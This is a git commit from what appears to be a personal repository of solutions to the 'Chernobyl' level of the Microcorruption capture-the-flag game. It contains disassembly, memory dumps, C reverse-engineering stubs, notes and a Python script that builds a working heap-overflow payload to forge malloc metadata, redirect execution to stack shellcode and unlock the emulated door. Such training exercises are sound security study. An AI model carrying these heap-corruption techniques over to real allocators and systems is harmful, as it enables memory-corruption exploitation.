Renumber levels to match official indices

This commit is contained in:
Val
2022-12-12 01:01:29 -06:00
parent 7925e24844
commit a9051bf671
34 changed files with 0 additions and 0 deletions

View File

@@ -0,0 +1,96 @@
# Default to Google style
BasedOnStyle: Google
# Don't derive from file
DeriveLineEnding: false
DerivePointerAlignment: false
# Google limits lines to 80 columns. Don't do that.
ColumnLimit: 0
# Here there be controversy
IndentWidth: 3
ConstructorInitializerIndentWidth: 3
ContinuationIndentWidth: 3
# Alignment checks
AlignConsecutiveAssignments: true
AlignTrailingComments: true
# Sort include blocks, and regroup based on include category
SortIncludes: CaseInsensitive
IncludeBlocks: Regroup
# Allow short blocks on single line
AllowShortBlocksOnASingleLine: Always
AllowShortEnumsOnASingleLine: true
AllowShortFunctionsOnASingleLine: Inline
AllowShortIfStatementsOnASingleLine: AllIfsAndElse
AllowShortLambdasOnASingleLine: Inline
AllowShortLoopsOnASingleLine: true
# Except case statements
AllowShortCaseLabelsOnASingleLine: false
# Line wrapping should not happen, but just in case, keep the args together
BinPackArguments: true
BinPackParameters: true
# When bitfield-packing a struct, spaces go after the colon, not before
BitFieldColonSpacing: After
# By default, braces are obnoxiously wrapped to newlines
BreakBeforeBraces: Custom
# Disable that
BraceWrapping:
AfterEnum: false
AfterFunction: false
AfterNamespace: false
AfterStruct: false
AfterUnion: false
AfterExternBlock: false
AfterControlStatement: false
BeforeCatch: false
BeforeElse: false
BeforeLambdaBody: false
BeforeWhile: false
IndentBraces: false
SplitEmptyFunction: false
# Don't break before ?:, it looks ugly
BreakBeforeTernaryOperators: false
# Trim empty lines when there are more than 1
MaxEmptyLinesToKeep: 1
# Align &*s toward the variable name (i.e. int &number; char *cstring)
ReferenceAlignment: Pointer
PointerAlignment: Right
# Put spaces after (int) c_style_casts and template <T>, but !after '!' operator
SpaceAfterCStyleCast: true
SpaceAfterLogicalNot: false
SpaceAfterTemplateKeyword: true
# Put spaces before \.?\= operators, initializer {lists}, inline (parentheses), // comments.
SpaceBeforeAssignmentOperators: true
SpaceBeforeCpp11BracedList: true
SpaceBeforeParens: Always
SpacesBeforeTrailingComments: 1
SpacesInLineCommentPrefix:
Minimum: 1
# Don't put spaces in case : statements, object : inheritance,
# for (auto& loops : range), conditional ( statements ), ( parentheses ), [ brackets ]
SpaceBeforeCaseColon: false
SpaceBeforeInheritanceColon: false
SpaceBeforeRangeBasedForLoopColon: false
SpacesInConditionalStatement: false
SpacesInParentheses: false
SpacesInSquareBrackets: false
# Always use LF for line breaks, and NEVER use tabs for indentation
UseCRLF: false
UseTab: Never

Binary file not shown.

After

Width:  |  Height:  |  Size: 416 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 492 KiB

View File

@@ -0,0 +1,59 @@
# ---------- Variables listed below --------- #
# Executable
TARGET := chernobyl.out
# Paths to source, include, dependency, and object files
SPATH = src
IPATH = inc
DPATH = dep
OPATH = obj
# File type of source file
STYPE = c
VPATH = $(SPATH) $(IPATH) $(DPATH) $(OPATH)
# compiler and compiler flags
CC = g++
CFLAGS = -I$(IPATH) -std=c++11 -Os
# list of object files
SOURCES = $(wildcard $(SPATH)/*.$(STYPE))
OBJECTS = $(addprefix $(OPATH)/,$(notdir $(SOURCES:.$(STYPE)=.o)))
# ----------- Targets listed below ---------- #
# Some targets aren't real
.PHONY: all clean run dump
# Don't autodelete object files:
.PRECIOUS: $(OPATH)/%.o
all: $(DPATH) $(OPATH) $(TARGET)
dump:
@echo SOURCES: $(SOURCES)
@echo OBJECTS: $(OBJECTS)
@echo TARGET: $(TARGET)
@echo VPATH: $(VPATH)
clean:
-rm $(TARGET)
-rm -r dep obj
run:
-$(addprefix ./,$(addsuffix ;,$(TARGET)))
$(DPATH) $(OPATH):
mkdir -p $@
# Make the executable(s)
%.out: $(OBJECTS)
$(CC) $(CFLAGS) -o "$@" $^
# Make the object and dependency files
$(OPATH)/%.o: $(SPATH)/%.$(STYPE)
$(CC) $(CFLAGS) -MMD -MF "$(DPATH)/$(@F:.o=.d)" -o "$@" -c "$<"
# --------- Inclusions listed below --------- #
# use dependencies when rebuilding
-include $(wildcard $(DPATH)/*.d)

View File

@@ -0,0 +1,19 @@
#!/usr/bin/env python3
"""
caller_id: Call a function with arbitrary parameters in microcorruption
"""
import re
preamble = "reset; break main; continue; unbreak main;"
while 1:
address, *args = re.split(r"[(,) ]",input("> "))
if address == "": break
print(f"{preamble} Let pc = {address}", end=";")
reg = 15
for arg in args:
if arg:
print(f"Let r{reg} = {arg}", end=";")
reg -= 1
print("\b ")

View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python3
# user info
user_struct_size = 0x12 # User is a tuple of (char[16], i16)
users_per_box = 0x5
# Stack info
ret_stack_addr = 0x3dce - 0x0004 # 3nd index of header struct
ret_addr = 0x49a2 # Address that will be returned to
stackbuffer_top = 0x3df0 - 0x0006 # top of stack buffer, PLUS "new "
target_offset = ((stackbuffer_top - ret_addr) & 0xffff) + 1
print(f"{ret_stack_addr = :x}, {ret_addr = :x}, {target_offset = :x}");
bnew = b'new '
clobber = ret_stack_addr.to_bytes(2, 'little').hex() + 'fc50' + target_offset.to_bytes(2, 'little').hex()
'''
sub.b #1, r8 5883
swpb r8 8810
mov r8, sr 0248
mov #4cfc, pc 3040 fc4c
'''
payload = "5883 8810 0248 3040fc4c"
# Hash function, which governs the boxes
def hash(byts: bytes):
ret = 0;
for c in byts:
ret += c
ret = ((ret << 5) - ret) & 0xffff
return ret
# Fix a string by adding a character that causes a hash collision
def fixhash(name:bytes, box:int, modulus:int):
error = box - (hash(name) % modulus)
if error % modulus == 0:
return name
name += (ord("@")+error+modulus).to_bytes(1, "big")
print(f"{name.hex() = }; {error = }; new box = {hash(name) % modulus}")
return name
def a2h (s: str):
return bytes(s, 'ascii').hex()
payload = f'{a2h("new ")} {fixhash(bytes.fromhex(payload), 0, 16).hex()} {a2h(" ;new 8 ;new @ ;new H ;new P ;")} {bnew.hex()} {fixhash(bytes.fromhex(clobber), 0, 16).hex()} {a2h(" ;new 1 ;new 9 ;new A ;new I ;new Q ;new")}'
print(payload)
exit(0)
while 1:
name, box = input("> ").split()
print(fixhash(bytes(name, "ascii"), int(box), 16).decode('ascii'));

View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python3
# TODO: Actually break the hashes?
# TODONE in chernobreak.py
def hash(chars):
ret = 0;
for c in chars:
ret += c
ret = ((ret << 5) - ret) & 0xffff
return ret
while True:
try:
line = input("> ")
if (len(line) and line[0] == '~'):
h = hash(bytes.fromhex(line[1:]));
else:
h = hash(line.encode())
print(f"hash: {h:x}, box[3]: {h&7:x}, box[4]: {h&0xf:x}");
except EOFError:
break
print("")

View File

@@ -0,0 +1,43 @@
#ifndef CHERNOBYL_H
#define CHERNOBYL_H
#include "chernobyl_types.h"
u16 _main ();
u16 walk (u16 r15); // unused
u16 run ();
u16 *create_hash_table (u16 exponent, u16 size);
u16 add_to_table (u16 *table, char *username, u16 pin);
// Return address of a buffer from the table
// r15 = buffer address. r14
u16 get_from_table (void *r15, char *r14);
u16 hash (char *str);
u16 rehash (u16 *table, u16 r14);
// Strings, named after the position of the first character in memory
// Strings associated with <walk>
#define s_4566 "\r\r"
#define s_4569 "%x [alloc] [p %x] [n %x] [s %x]"
#define s_4588 " "
#define s_458b " {%x} [ "
#define s_4594 "%x "
#define s_4599 "%x [freed] [p %x] [n %x] [s %x]"
// Strings associated with <malloc>
#define s_465e "Heap exhausted; aborting."
// Strings associated with <run>
#define s_4a38 "Welcome to the lock controller."
#define s_4a58 "You can open the door by entering 'access [your name] [pin]'"
#define s_4a95 ""
#define s_4a96 "No such box."
#define s_4aa3 "Access granted."
#define s_4ab3 "Access granted; but account not activated."
#define s_4ade "Aceess denied" // [sic]
#define s_4aec "Can not have a pin with high bit set."
#define s_4b12 "User already has an account."
#define s_4b2f "Adding user account %s with pin %x."
#define s_4b54 "Invalid command."
#endif

View File

@@ -0,0 +1,21 @@
#ifndef CHERNOBYL_STDLIB_H
#define CHERNOBYL_STDLIB_H
#include "chernobyl_types.h"
// Standard library functions
// These use MSPGCC calling convention:
// https://www.ti.com/lit/an/slaa664/slaa664.pdf?ts=1659422621072
// ( Or see https://nhivp.github.io/msp430-gcc/2018-07-20/function-calling-convention )
void *_malloc (u16 size);
void _free (void *ptr);
u16 _putchar (char c);
i16 _getchar ();
void _puts (const char *s);
void _getsn (char *__restrict buf, u16 length);
int _strcmp (const char *s1, const char *s2);
void INT (u16 interrupt);
void swpb (u16 *word);
#endif

View File

@@ -0,0 +1,32 @@
#ifndef CHERNOBYL_TYPES_H
#define CHERNOBYL_TYPES_H
#include <stdint.h>
typedef uint16_t u16;
typedef int16_t i16;
typedef uint8_t u8;
typedef int8_t i8;
typedef struct registers {
// Registers = initial_state
u16 sp; // stack pointer
u16 sr; // status register
// General-purpose registers
// Caller-saved registers
u16 r4; // GPR 4
u16 r5; // GPR 5
u16 r6; // GPR 6
u16 r7; // GPR 7
u16 r8; // GPR 8
u16 r9; // GPR 9
u16 r10; // GPR 10
u16 r11; // GPR 11
// Callee-saved registers / function arguments / return value(s)
u16 r12; // GPR 12 ; arg 3
u16 r13; // GPR 13 ; arg 2
u16 r14; // GPR 14 ; arg 1
u16 r15; // GPR 15 ; arg 0
} re;
#endif

View File

@@ -0,0 +1,146 @@
// Just look at the function signatures in chernobyl.h and chernobyl_stdlib.h
#include "chernobyl.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "chernobyl_stdlib.h"
#include "chernobyl_types.h"
u16 to_decimal (char *buf) {
u16 num = 0; // r10
while (*buf) {
num *= 10;
num += *buf - '0';
buf++;
}
return num;
}
int main (int argc, char **argv) {
if (argc == 1) {
char buf[0x600] = {0};
while (printf (">> "), _getsn (buf, 0x5ff), !feof (stdin)) {
printf ("hash: %x, dec: %x\n", hash (buf), to_decimal (buf));
};
}
if (argc == 2) {
printf ("hash: %x\n", hash (argv[1]));
}
return 0;
}
u16 _main () {
run ();
return 0;
}
u16 walk (u16 r15) {
puts (s_4566); // "\n\n"
printf (s_4569); //%x [alloc] [p %x] [n %x] [s %x]
return 0;
}
// 0x4b66: run
u16 run () {
// move stack -0x600
char buf[0x600];
u16 *hashtable = create_hash_table (0x3, 0x5); // todo: What do these args mean?
// 4b82: Print out some shit
puts (s_4a38); // "Welcome to the lock controller."
puts (s_4a58); // "You can open the door by entering 'access [your name] [pin]'"
puts (s_4a95); // ""
while (1) {
// 4b9a: zero out the stack buffer
for (int r14 = 0; r14 < 0x5ff; r14++) {
buf[r14] = 0;
}
// 4bb0: get 0x550 characters -> stack buffer
_getsn (buf, 0x550);
// 4bba: loop over the user input:
u16 index = 0;
while (buf[index] != 0) {
// 4bbe: check for 'a'
if (buf[index] == 'a') {
index += 7;
char *name = &buf[index];
// skip spaces
while (buf[index++] != ' ') {
if (buf[index] == 0)
break;
};
} else if (buf[index] == 'n') {
index += 4;
// skip spaces
while (buf[index++] != ' ') {
if (buf[index] == 0)
break;
};
} else {
return -1;
}
}
}
// end of the function
puts (s_4b54); // "Invalid command."
return 1;
}
u16 *create_hash_table (u16 r15, u16 r14) {
// todo: RE hash table creation
u8 *buf = (u8 *) malloc (0xa);
buf[0] = 0;
return 0;
}
// Hash the string stored at addr
u16 hash (char *addr) {
u16 chr, hash = 0;
while (*addr) {
hash = *addr + hash;
hash = (hash << 5) - hash;
addr++;
}
return hash;
}
u16 add_to_table (u16 *table, char *username, u16 pin) {
// todo: add_to_table
u16 r14 = table[1]; // Box bitmask exponent? 3
u16 r12 = table[2]; // Box bitmask mantissa? 5
//! What the hell is going on here?
r12 <<= r14; // 3 <<= 5
if (r12 < 0) {
r12 = r12 + 3;
}
r12 >>= 2;
if (table[0] < r12) { // if there are more names in table than 10:
rehash (*table, r14); // Make more boxes, and shuffle them around?
}
table[0]++;
hash (r14);
r12 = 1 << table[1];
// Then do some boring stuff
return 0;
}
// get_from_table hash_table* table, string* username
u16 get_from_table (void *r15, char *r14) {
u16 h = hash (r14);
u16 num = ((u16 *) r15)[2];
u16 power_of_two = (1 << num) - 1;
power_of_two = (power_of_two & h) << 1;
num = ((u16 *) r15)[6];
return 0;
}
u16 rehash (u16 *table, u16 exponent) { // Now I see the problem
// This function makes the hash table 2^exponent units long
// and rehashes all the usernames stored in each box
return 0;
}

View File

@@ -0,0 +1,113 @@
#include "chernobyl_stdlib.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "chernobyl.h"
#include "chernobyl_types.h"
#define HEAP_BASE 0x2400
void __trap_interrupt () {
// Hardware will do something here
return;
}
void set_w (u16* addr, u16 value) {
*((u16 *) &addr) = value;
}
u16 get_w (u16 *addr) {
return *((u16 *) addr);
}
void *_malloc (u16 size) {
/*
4678: 0b12 push r11
467a: c293 0424 tst.b &0x2404
467e: 0f24 jz $+0x20 <malloc+0x26>
4680: 1e42 0024 mov &0x2400, r14
4684: 8e4e 0000 mov r14, 0x0(r14)
4688: 8e4e 0200 mov r14, 0x2(r14)
468c: 1d42 0224 mov &0x2402, r13
4690: 3d50 faff add #0xfffa, r13
4694: 0d5d add r13, r13
4696: 8e4d 0400 mov r13, 0x4(r14)
469a: c243 0424 mov.b #0x0, &0x2404
; malloc+0x26:
469e: 1b42 0024 mov &0x2400, r11
46a2: 0e4b mov r11, r14
46a4: 1d4e 0400 mov 0x4(r14), r13
46a8: 1db3 bit #0x1, r13
46aa: 2820 jnz $+0x52 <46fc>
46fc: 0d4e mov r14, r13
46fe: 1e4e 0200 mov 0x2(r14), r14
4702: 0e9d cmp r13, r14
4704: 0228 jnc $+0x6 <malloc+0x92>
4706: 0e9b cmp r11, r14
4708: cd23 jnz $-0x64 <malloc+0x2c>
; puts("Heap exhausted. Aborting")
470a: 3f40 5e46 mov #0x465e, r15
470e: b012 504d call #0x4d50 <puts>
4712: 3040 3e44 br #0x443e <__stop_progExec__>
4716: 0f43 clr r15
4718: 3b41 pop r11
471a: 3041 ret
*/
// return the address of the new block
return 0;
}
void _free (void *ptr) {
return;
}
u16 _putchar (char c) {
putchar (c);
return c;
}
i16 _getchar () {
return getchar ();
}
void _puts (const char *s) {
u8 character = 0;
while (character = *(u8 *) s++) {
_putchar (character);
}
return;
}
void _getsn (char *__restrict buf, u16 length) {
fgets (buf, length, stdin);
buf[strnlen(buf, length) - 1] = '\0';
return;
}
int _strcmp (const char *s1, const char *s2) {
while (*s1 == *s2) {
if (*(++s1) == 0) {
break;
}
s2++;
}
return *s2 - *s1;
}
void INT (u16 interrupt) {
swpb (&interrupt);
interrupt |= 0x8000;
//r.sr = interrupt;
__trap_interrupt ();
return;
}
void swpb (u16 *word) {
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
((u8 *) word)[1] = ((u8 *) word)[1] ^ ((u8 *) word)[0];
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
}

View File

@@ -0,0 +1,45 @@
4.3 Interrupt Listing
The LockIT Pro has an augmented MSP430 CPU with a callgate at address
0x10 causing a software interrupt. The interrupts are described below.
INT 0x00.
The putchar interrupt: sends a single byte to the display.
Takes one argument with the character to print.
INT 0x01.
The getchar interrupt: reads a single byte of buffered input.
Takes no arguments.
INT 0x02.
The gets interrupt: read a specific number of bytes to standard input.
Takes two arguments. The first is the address to place the string, the
second is the maximum number of bytes to read. Null bytes are not handled
specially null-terminated.
INT 0x10.
Turn on DEP: pages are either executable or writable but never both.
Takes no arguments.
INT 0x11.
Mark as a page as either only executable or only writable.
Takes two one arguments. The first argument is the page number, the
second argument is 1 if writable, 0 if executable.
INT 0x20.
The rand interrupt: request a random 16-bit number.
Takes no arguments.
INT 0x7D.
Interface with the HSM-1. Set a flag in memory if the password passed in is
correct.
Takes two arguments. The first argument is the password to test, the
second is the location of a flag to overwrite if the password is correct.
INT 0x7E.
Interface with the HSM-2. Trigger the deadbolt unlock if the password is
correct.
Takes one argument: the password to test.
INT 0x7F.
Interface with deadbolt to trigger an unlock if the password is correct.
Takes no arguments.

65
18-Chernobyl/Notes Normal file
View File

@@ -0,0 +1,65 @@
Hash Table, plus one full box:
0 1 2 3 4 5 6 7 8 9 a b c d e f
5000:[0050 1050 1500]0b00 0300 0500 1650 2c50 .P.P.........P,P
5010:[0050 2650 2100]4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252[1050 3c50 2100]0b00 0000 "R.R.R.P<P!.....
5030: 0000 0000 0000 0000 0000 0000[2650 9c50 ............&P.P
5040: b500]4141 4141 4141 4141 4141 4141 4141 ..AAAAAAAAAAAAAA
5050: 4100 e004 4141 4141 4141 4141 4141 4141 A...AAAAAAAAAAAA
5060: 4141 4100 e004 4141 4141 4141 4141 4141 AAA...AAAAAAAAAA
5070: 4141 4141 4100 e004 4141 4141 4141 4141 AAAAA...AAAAAAAA
5080: 4141 4141 4141 4100 e004 4141 4141 4141 AAAAAAA...AAAAAA
5090: 4141 4141 4141 4141 4100 e004[4141 4141 AAAAAAAAA...AAAA ; wait a second
50a0: 4141]4141 4141 4141 4141 4100 e004 4141 AAAAAAAAAAA...AA
50b0: 4141 4141 4141 4141 4141 4141 4100 e004 AAAAAAAAAAAAA...
50c0: 4141 4141 4141 4141 4141 4141 4141 4100 AAAAAAAAAAAAAAA.
50d0: e004 4141 4141 4141 4141 4141 4141 4141 ..AAAAAAAAAAAAAA
50e0: 4100 e004 4141 4141 4141 4141 4141 4141 A...AAAAAAAAAAAA
50f0: 4141 4100 e004 4141 4141 4800[9c50 5c51 AAA...AAAAH..P\Q
5100: b500]0000 0000 e004 0000 0000 0000 0000 ................
Heap metadata @ 2400: 0050 0080 0000
Heap start: 0x5000
Heap size: 0x8000 (0x5000-0xD000)
Hash Table Header:
Hash table header metadata @ 5000: 0050 1050 1500
[ Prev: 0x5000, Next: 0x5010, Size: 0x000a ] ; malloc block-header ({size:15,status:1})
Data: 0b00 0300 0500 1650 2c50
00: 000b: Number of registered users(?)
02: 0003: Parameter 1 (Box bitmask = 2^(<3>+1) - 1)
04: 0005: Parameter 2 (Rightshift?)
06: 5016: & Box Pointer List
08: 502c: & Per-box User Count List
Box Pointer List:
Box list header metadata @ 5010: 0050 2650 2100
[ Prev: 5000, Next: 5026, Size: 0010 ]
Data: 4250 a250 0251 6251 c251 2252 8252 e252
00: 5042 & Box 0
02: 50a2 & Box 1
04: 5102 & Box 2
06: 5162 & Box 3
08: 51c2 & Box 4
0a: 52c2 & Box 5
0c: 5282 & Box 6
0e: 52e2 & Box 7
Other Data Section (?)
Section header metadata @ 5026: 1050 3c50 2100
[ Prev: 5010, Next: 503c, Size: 0010 ]
Data: 0a00 0000 0000 0000 0000 0000 0000 0000
for c in ['1', '9', 'A', 'I', 'Q', '0', '8', '@', 'H', 'P', 'AAAAAAAAAAAAAAAA', '']:
print(f'new {c} ;',end="")
Malloc:
- Checks to make sure next pointer is always ASCENDING
- Does not check prev pointer!!!!
The Exploit:
- Overwrite the prev pointer of a block so that it points to ~ the return address on stack
- Overwrite the size parameter so that, when added to the return address, it places pc somewhere nice
- Place pc into a payload on the stack
- INT 0x7f

1184
18-Chernobyl/mc-disasm.asm Normal file

File diff suppressed because it is too large Load Diff

207
18-Chernobyl/mc-run.asm Normal file
View File

@@ -0,0 +1,207 @@
4b66 <run>
4b66: 0b12 push index
4b68: 0a12 push r10
4b6a: 0912 push r9
4b6c: 0812 push r8
4b6e: 0712 push r7
; allocate 0x600 buffer on stack. Woah!
4b70: 3150 00fa add #0xfa00, sp
; r8 = create_hash_table (0x3, 0x5)
4b74: 3e40 0500 mov #0x5, r14
4b78: 3f40 0300 mov #0x3, r15
4b7c: b012 7847 call #0x4778 <create_hash_table>
4b80: 084f mov r15, r8 ; save result
; print out some shit
4b82: 3f40 384a mov #0x4a38, r15
4b86: b012 504d call #0x4d50 <puts>
4b8a: 3f40 584a mov #0x4a58, r15
4b8e: b012 504d call #0x4d50 <puts>
4b92: 3f40 954a mov #0x4a95, r15
4b96: b012 504d call #0x4d50 <puts>
; zero out the stack buffer allocated above
4b9a: 0e43 clr r14
4b9c: 3740 ff05 mov #0x5ff, r7
4ba0: 053c jmp $+0xc <run+0x46>
; run+0x3c
4ba2: 0f41 mov sp, r15
4ba4: 0f5e add r14, r15
4ba6: cf43 0000 mov.b #0x0, 0x0(r15)
4baa: 1e53 inc r14
; run+0x46:
4bac: 079e cmp r14, r7
4bae: f937 jge $-0xc <run+0x3c>
; get 0x550 characters -> stack buffer
4bb0: 3e40 5005 mov #0x550, r14
4bb4: 0f41 mov sp, r15
4bb6: b012 404d call #0x4d40 <getsn>
; run+0x54:
4bba: 0b41 mov sp, index
4bbc: 923c jmp $+0x126 <run+0x17c>
; check for 'a'
__access_check:
4bbe: 7f90 6100 cmp.b #0x61, r15
4bc2: 3a20 jnz $+0x76 <run+0xd2> ; __access%20_check
4bc4: 0e4b mov index, r14
4bc6: 3e50 0700 add #0x7, r14
4bca: 0b4e mov r14, index
4bcc: 073c jmp $+0x10 <run+0x76>
; run+0x68:
; check for ' '
4bce: 7f90 2000 cmp.b #0x20, r15
4bd2: 0320 jnz $+0x8 <run+0x74>
4bd4: cb43 0000 mov.b #0x0, 0x0(index)
4bd8: 043c jmp $+0xa <run+0x7c>
4bda: 1b53 inc index
; run+0x76:
4bdc: 6f4b mov.b @index, r15
4bde: 4f93 tst.b r15
4be0: f623 jnz $-0x12 <run+0x68>
; run+0x7c:
4be2: 1b53 inc index
4be4: 0a43 clr r10
4be6: 0b3c jmp $+0x18 <run+0x98>
; run+0x82:
; r13 =
4be8: 0d4a mov r10, r13
4bea: 0d5d add r13, r13
4bec: 0d5d add r13, r13
4bee: 0d5a add r10, r13
4bf0: 0d5d add r13, r13
4bf2: 6a4b mov.b @index, r10
4bf4: 8a11 sxt r10
4bf6: 3a50 d0ff add #0xffd0, r10
4bfa: 0a5d add r13, r10
4bfc: 1b53 inc index
; run+0x98:
4bfe: 6f4b mov.b @index, r15
4c00: 4f93 tst.b r15
4c02: 0324 jz $+0x8 <run+0xa4>
; check for ';'
4c04: 7f90 3b00 cmp.b #0x3b, r15
4c08: ef23 jnz $-0x20 <run+0x82>
; run+0xa4:
4c0a: 0f48 mov r8, r15
4c0c: b012 cc49 call #0x49cc <get_from_table>
4c10: 3f93 cmp #-0x1, r15
4c12: 0320 jnz $+0x8 <run+0xb4>
; No such box.
4c14: 3f40 964a mov #0x4a96, r15
4c18: 413c jmp $+0x84 <run+0x136>
4c1a: 0aef xor r15, r10
4c1c: 3af0 ff7f and #0x7fff, r10
4c20: 0820 jnz $+0x12 <run+0xcc>
4c22: 0f9a cmp r10, r15
4c24: 0334 jge $+0x8 <run+0xc6>
; Access granted
4c26: 3f40 a34a mov #0x4aa3, r15
4c2a: 383c jmp $+0x72 <run+0x136>
; Access granted, but account not activated.
4c2c: 3f40 b34a mov #0x4ab3, r15
4c30: 353c jmp $+0x6c <run+0x136>
; Aceess denied [sic]
4c32: 3f40 de4a mov #0x4ade, r15
4c36: 323c jmp $+0x66 <run+0x136>
; run+0xd2:
; check for 'n'
__n_check:
4c38: 7f90 6e00 cmp.b #0x6e, r15
4c3c: 4020 jnz $+0x82 <run+0x158>
4c3e: 094b mov index, r9
4c40: 2952 add #0x4, r9
4c42: 0b49 mov r9, index
4c44: 073c jmp $+0x10 <run+0xee>
; run+0xe0
; check for ' '
4c46: 7f90 2000 cmp.b #0x20, r15
4c4a: 0320 jnz $+0x8 <run+0xec>
4c4c: cb43 0000 mov.b #0x0, 0x0(index) ; if next char is space, skip it
4c50: 043c jmp $+0xa <run+0xf4>
; run+0xec
4c52: 1b53 inc index
4c54: 6f4b mov.b @index, r15
4c56: 4f93 tst.b r15
4c58: f623 jnz $-0x12 <run+0xe0>
4c5a: 1b53 inc index
4c5c: 0a43 clr r10
4c5e: 0b3c jmp $+0x18 <run+0x110>
_to_decimal: ; convert the ascii in r10 to decimal?
4c60: 0c4a mov r10, r12
4c62: 0c5c add r12, r12 ; x2
4c64: 0c5c add r12, r12 ; x4
4c66: 0c5a add r10, r12 ; x5
4c68: 0c5c add r12, r12 ; xA
4c6a: 6a4b mov.b @index, r10
4c6c: 8a11 sxt r10
; Subtract 0x30
4c6e: 3a50 d0ff add #0xffd0, r10
4c72: 0a5c add r12, r10
4c74: 1b53 inc index
; run+0x110
4c76: 6f4b mov.b @index, r15
4c78: 4f93 tst.b r15
4c7a: 0324 jz $+0x8 <run+0x11c>
; check for ';'
4c7c: 7f90 3b00 cmp.b #0x3b, r15
4c80: ef23 jnz $-0x20 <run+0xfa>
4c82: 0a93 tst r10
4c84: 0334 jge $+0x8 <run+0x126>
; Can not have pin with high bit set
4c86: 3f40 ec4a mov #0x4aec, r15
4c8a: 083c jmp $+0x12 <run+0x136>
4c8c: 0e49 mov r9, r14
4c8e: 0f48 mov r8, r15
4c90: b012 cc49 call #0x49cc <get_from_table>
4c94: 3f93 cmp #-0x1, r15
4c96: 0524 jz $+0xc <run+0x13c>
; User already has an account
4c98: 3f40 124b mov #0x4b12, r15
4c9c: b012 504d call #0x4d50 <puts>
4ca0: 1c3c jmp $+0x3a <run+0x174>
add_user_account:
4ca2: 0a12 push r10
4ca4: 0912 push r9
4ca6: 3012 2f4b push #0x4b2f
4caa: b012 4844 call #0x4448 <printf>
4cae: 3150 0600 add #0x6, sp
4cb2: 0d4a mov r10, r13
4cb4: 0e49 mov r9, r14
4cb6: 0f48 mov r8, r15
4cb8: b012 3248 call #0x4832 <add_to_table>
4cbc: 0e3c jmp $+0x1e <run+0x174> ; NOT strings
; end of the function:
4cbe: 3f40 544b mov #0x4b54, r15
4cc2: b012 504d call #0x4d50 <puts>
failure_case:
4cc6: 1f43 mov #0x1, r15
4cc8: 3150 0006 add #0x600, sp
run_end:
4ccc: 3741 pop r7
4cce: 3841 pop r8
4cd0: 3941 pop r9
4cd2: 3a41 pop r10
4cd4: 3b41 pop index
4cd6: 3041 ret
; loop_end
4cd8: 1b53 inc index
; check for ';'
4cda: fb90 3b00 0000 cmp.b #0x3b, 0x0(index)
4ce0: fb27 jz $-0x8 <run+0x172>
; end of the loop
; run+0x17c:
4ce2: 6f4b mov.b @index, r15
4ce4: 4f93 tst.b r15
4ce6: 6b23 jnz $-0x128 <run+0x58> ; 4bbe
; cleanup
4ce8: 0e43 clr r14
4cea: 603f jmp $-0x13e <run+0x46>

View File

@@ -0,0 +1,38 @@
5000: 0050 1050 1500 0000 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0000 0000 "R.R.R.P<P!.....
5030: 0000 0000 0000 0000 0000 0000 2650 9c50 ............&P.P
5040: b500 0000 0000 0000 0000 0000 0000 0000 ................
5050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5060: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 0000 0000 0000 0000 0000 0000 0000 ................
5110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5120: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 0000 0000 0000 0000 0000 0000 0000 ................
5170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5180: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 0000 0000 0000 0000 0000 0000 0000 ................
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51e0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 0000 0000 0000 0000 0000 0000 0000 ................
5230: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5240: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 0000 0000 0000 0000 0000 0000 0000 ................
5290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52a0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 0000 0000 0000 0000 0000 0000 0000 ................
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5300: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................

BIN
18-Chernobyl/memory.bin Normal file

Binary file not shown.